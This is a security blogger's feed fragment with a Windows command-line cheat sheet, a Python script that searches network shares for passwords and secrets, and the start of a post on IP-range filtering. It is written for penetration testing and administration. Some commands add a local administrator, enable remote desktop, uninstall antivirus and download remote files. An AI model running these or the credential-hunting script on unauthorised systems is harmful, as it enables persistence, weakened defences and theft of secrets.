<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic bios list full</div></div>
<p>List all patches</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe</div></div>
<p>Look for a particular patch</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe where hotfixid=&quot;KB958644&quot; list full</div></div>
<p>Remotely List Local Enabled Accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename USERACCOUNT WHERE &quot;Disabled=0 AND LocalAccount=1&quot; GET Name</div></div>
<p>Start a service remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename 4 service lanmanserver CALL Startservice<br />
sc \\machinename start lanmanserver</div></div>
<p>List services</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic service list brief<br />
sc \\machinename query</div></div>
<p>Disable startup service</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sc config example disabled</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic useraccount list brief</div></div>
<p>Enable RDP remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:&quot;machinename 4&quot; path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”</div></div>
<p>List number of times a user logged on</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic netlogin where (name like &quot;%adm%&quot;) get numberoflogons</div></div>
<p>Query active RDP sessions</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">qwinsta /server:192.168.1.1</div></div>
<p>Remove active RDP session ID 2</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rwinsta /server:192.168.1.1 2</div></div>
<p>Remotely query registry for last logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">reg query &quot;\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&quot; /v DefaultUserName</div></div>
<p>List all computers in domain &#8220;blah&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dsquery computer &quot;OU=example,DC=blah&quot; -o rdn -limit 6000 &amp;gt; output.txt</div></div>
<p>Reboot</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /r /t 0</div></div>
<p>Shutdown</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /s /t 0</div></div>
<p>Remotely reboot machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /m \\192.168.1.1 /r /t 0 /f</div></div>
<p>Copy entire folder and its contents from a remote source to local machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">xcopy /s \\remotecomputer\directory c:\local</div></div>
<p>Find location of file with string &#8220;blah&#8221; in file name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b | find &quot;blah&quot;</div></div>
<p>Spawn a new command prompt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">start cmd</div></div>
<p>Determine name of a machine with known IP</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nbtstat -A 192.168.1.1</div></div>
<p>Find directory named blah</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b /ad | find &quot;blah&quot;</div></div>
<p>Command line history</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">F7</div></div>
<p>Determine the current user (aka whoami Linux equivalent)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">echo %USERNAME%</div></div>
<p>Determine who is apart of the administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators</div></div>
<p>Add a user where travis is the username and password is blah</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user travis blah /add</div></div>
<p>Add user travis to administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators travis /add</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user</div></div>
<p>Map a network share with a given drive letter of T:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net use T: \\serverNameOrIP\shareName</div></div>
<p>List network connections and the programs that are making those connections</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">netstat -nba</div></div>
<p>Display contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type text.txt</div></div>
<p>Edit contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">edit text.txt</div></div>
<p>Determine PC name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hostname</div></div>
<p>Run cmd.exe as administrator user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">runas /user:administrator cmd</div></div>
<p>Uninstall a program, Symantec in this case ;-}</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic product where “description=’Symantec’ ” uninstall</div></div>
<p>Determine whether a system is 32 or 64 bit</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic cpu get DataWidth /format:list</div></div>
<p>Powershell one liner download file</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">(new-object System.Net.WebClient).Downloadfile(&quot;http://example.com/file.txt&quot;, &quot;C:\Users\Travis\file.txt&quot;)</div></div>
<p>Information about OS version and other useful system information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">systeminformation</div></div>
<p>Startup applications</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic startup get caption,command</div></div>
<p>Recursively unzip all zip folders, you&#8217;ll need unzip.exe for this</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">FOR /R %a (*.zip) do unzip -d unzipDir &quot;%a&quot;</div></div>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Search windows open shares with python</title>
		<link>http://travisaltman.com/search-windows-open-shares-with-python/</link>
		<comments>http://travisaltman.com/search-windows-open-shares-with-python/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 17:21:50 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=399</guid>
		<description><![CDATA[It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to describe it is &#8220;information security&#8221;. Performing penetration tests one has to keep that in mind, yea it&#8217;s fun to exploit some user that&#8217;s running an old version of war-ftp but if that user doesn&#8217;t yield sensitive information then who cares to some extent.</p>
<p>I often see that professional penetration testers will highlight an open windows share that can be read or written to by everyone. They will often highlight other shares that are accessible by a large group such as Authenticated users. I don&#8217;t want to scoff at these types of open shares as they should be investigated by the business owner that created the open shares. The main thing to consider is what information lies within those open shares. Open shares are usually created for a reason, so that users easily share information. This is not bad unless the information in those shares is secret / classified material. To check for this possible sensitive information one would have to search all the files and folders in that share. Now you can use the cute little dog search feature inside of windows explorer to look for this information but using that your hands are somewhat tied. The search feature inside windows explorer actually does a nice job but if you wanted to automate the process to look at multiple shares and search for multiple terms then you&#8217;re out of luck. Because of this I wanted to script something that would automate the process. Powershell could have been an option but because I&#8217;m already familiar with python I stuck to what I know. This means that in order to run the script you&#8217;ll have to have python installed on windows. I could have written the script to work in Linux but that would have meant using cifs to map drives which seemed like more of a headache then just using python on windows.</p>
<p>You&#8217;ll need to open up a windows command prompt to run the script and it&#8217;s a good idead to <a href="http://showmedo.com/videotutorials/video?name=960000&amp;fromSeriesID=96" target="_blank">add Python to the windows path</a>. So the script takes two arguments. The first argument is the file containing all the shares that you want to search. The second argument is the file that contains all the terms you want to search for. So to run the script you would issue a command similar to below, where searchShares.py is the name of the python script.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">python.exe  searchShares.py  shares.txt  searchTerms.txt</div></div>
<p>Your shares.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">\\one\two<br />
\\three\four\five<br />
\\six\seven\eight\nine</div></div>
<p>Your searchTerms.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">secret<br />
password<br />
username</div></div>
<p>In the example above the term &#8220;secret&#8221; will be recursively searched in all three shares. Then &#8220;password&#8221; will be recursively searched in all three shares, then so on and so on. The script will output any file, file name, or folder name that matches any of the search terms. Currently the script will read each file in <a href="http://en.wikipedia.org/wiki/Binary_file" target="_blank">binary format</a> which means if it comes across a word document file (such as document.doc) it doesn&#8217;t open / read the file like microsoft word would. The current script reads each line of the binary file looking for your search term. Reading a text file as binary seems to work fine but reading in microsoft office documents as binary have different results. One thing I&#8217;ve noticed in my testing is that generally speaking it does just fine searching through a *.doc file but has trouble searching through a *.docx file. Binary searching is not ideal but it&#8217;s my current solution. Python has the capability to open microsoft office documents in a more native format but for my first go round I haven&#8217;t implemented that solution.</p>
<p>Once you run the script you will see output similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\temp&gt;python searchShares.py shares.txt searchTerms.txt<br />
<br />
Walking directory \\192.168.99.184\test<br />
<br />
Found \\192.168.99.184\testtest.txt<br />
Found \\192.168.99.184\testTravisAltmanResume.doc<br />
Found \\192.168.99.184\test\onewordDoc1.docx<br />
Found \\192.168.99.184\test\one\twopasswords.txt<br />
Found \\192.168.99.184\test\one\two\threewordDoc2.docx<br />
Searching file \\192.168.99.184\test\test.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term password<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term username<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term username<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term username<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term username<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term username</div></div>
<p>This output on the command prompt is to given as a verbose message so that you know what&#8217;s going on with the script. The output on the command prompt will not tell you if it found a search term. The results of your searching is placed in a text file called output.txt located in the current directory. The content of output.txt should look similar to the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">=== Directories or file names matching search criteria ===<br />
<br />
\\192.168.99.184\test\one\two\passwords.txt<br />
<br />
=== Files matching search criteria ===<br />
<br />
found secret in file \\192.168.99.184\test\one\two\passwords.txt<br />
found password in file \\192.168.99.184\test\one\two\passwords.txt</div></div>
<p>So you can see that it matches the file name as well as the contents of the file. One thing to keep in mind is that this script can take a while to run. There two factors that control how fast it runs, 1) Speed of the network and 2) Size (GB, MB, etc) of the share. It works best when your network is local and not in another city. The biggest factor is going to be the size of the share. Running this script on a major file sahre that is say 800 GB in size will take a very long time. Keep in mind you can specify specific directories, so instead of searching in the root share such as \\share\one maybe it&#8217;s a better idea to searh in \\share\one\two\three. So keep these factors in mind when running the script. Below is the script, simply cut and paste into your text editor of choice and save as searchShares.py</p>
<pre>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<br />
output <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'output.txt'</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'a'</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
fileList <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
shareList <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
eachShare <span style="color: #66cc66;">=</span> shareList.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> shares <span style="color: #ff7700;font-weight:bold;">in</span> eachShare:<br />
&nbsp; &nbsp; path <span style="color: #66cc66;">=</span> shares.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Walking directory '</span> + path + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> root<span style="color: #66cc66;">,</span> subFolders<span style="color: #66cc66;">,</span> files <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">walk</span><span style="color: black;">&#40;</span>path<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">#print 'Indexing ' + root + '\n'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #008000;">file</span> <span style="color: #ff7700;font-weight:bold;">in</span> files:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileList.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>root<span style="color: #66cc66;">,</span><span style="color: #008000;">file</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Found '</span> + root + <span style="color: #008000;">file</span><br />
keywords <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
searchTerm <span style="color: #66cc66;">=</span> keywords.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'=== Directories or file names matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">any</span><span style="color: black;">&#40;</span>strip <span style="color: #ff7700;font-weight:bold;">in</span> s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; matching <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span>s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList <span style="color: #ff7700;font-weight:bold;">if</span> strip <span style="color: #ff7700;font-weight:bold;">in</span> s<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> matching:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> + item<span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>=== Files matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> fileList:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Searching file '</span> + item + <span style="color: #483d8b;">' for term '</span> + term<br />
&nbsp; &nbsp; &nbsp; &nbsp; searchFile <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>item<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'rb'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> searchFile:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span>strip<span style="color: #66cc66;">,</span> line<span style="color: #66cc66;">,</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">IGNORECASE</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'found '</span> + strip + <span style="color: #483d8b;">' in file '</span> + item + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; searchFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
</pre>
<p>Let me know if this works / doesn&#8217;t work and also let me know if you have any suggestions on how to make it better. One thing I might do in the future is to limit the types of files it searches to say only .txt, .doc, .xls, etc. Happy hunting for information on shares.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/search-windows-open-shares-with-python/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Search an IP range via the command line</title>
		<link>http://travisaltman.com/search-an-ip-range-via-the-command-line/</link>
		<comments>http://travisaltman.com/search-an-ip-range-via-the-command-line/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 14:32:42 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[scripting]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=127</guid>
		<description><![CDATA[So how do you manipulate a list of IP&#8217;s via the command line?  Well there are several ways to go about this but I&#8217;ll present the way I went about it.
In my scenario I had a range of IP&#8217;s that I needed to extract/exclude out of a list of IP&#8217;s. This task needed to [...]]]></description>
			<content:encoded><![CDATA[<p>So how do you manipulate a list of IP&#8217;s via the command line?  Well there are several ways to go about this but I&#8217;ll present the way I went about it.</p>
<p>In my scenario I had a range of IP&#8217;s that I needed to extract/exclude out of a list of IP&#8217;s. This task needed to be done on a Windoze machine, I do most of my scripting on a Linux box, so I was trying to rely on the findstr command. Trying to use the <a href="http://ss64.com/nt/findstr.html" target="_blank">findstr command</a> to search, extract, or manipulate a list of IP&#8217;s will make you crazy. Now I&#8217;m sure there&#8217;s way smarter people out there that can craft a simple one line findstr command to hack and slash on an IP list but I&#8217;m not one of those people.  I also tried to utilize some regular expression magic to manipulate an IP range.  Google has this <a href="http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55572" target="_blank">regular expression generator</a> specifically for IP ranges, which seems neat at first but I couldn&#8217;t get it to work within findstr.</p>
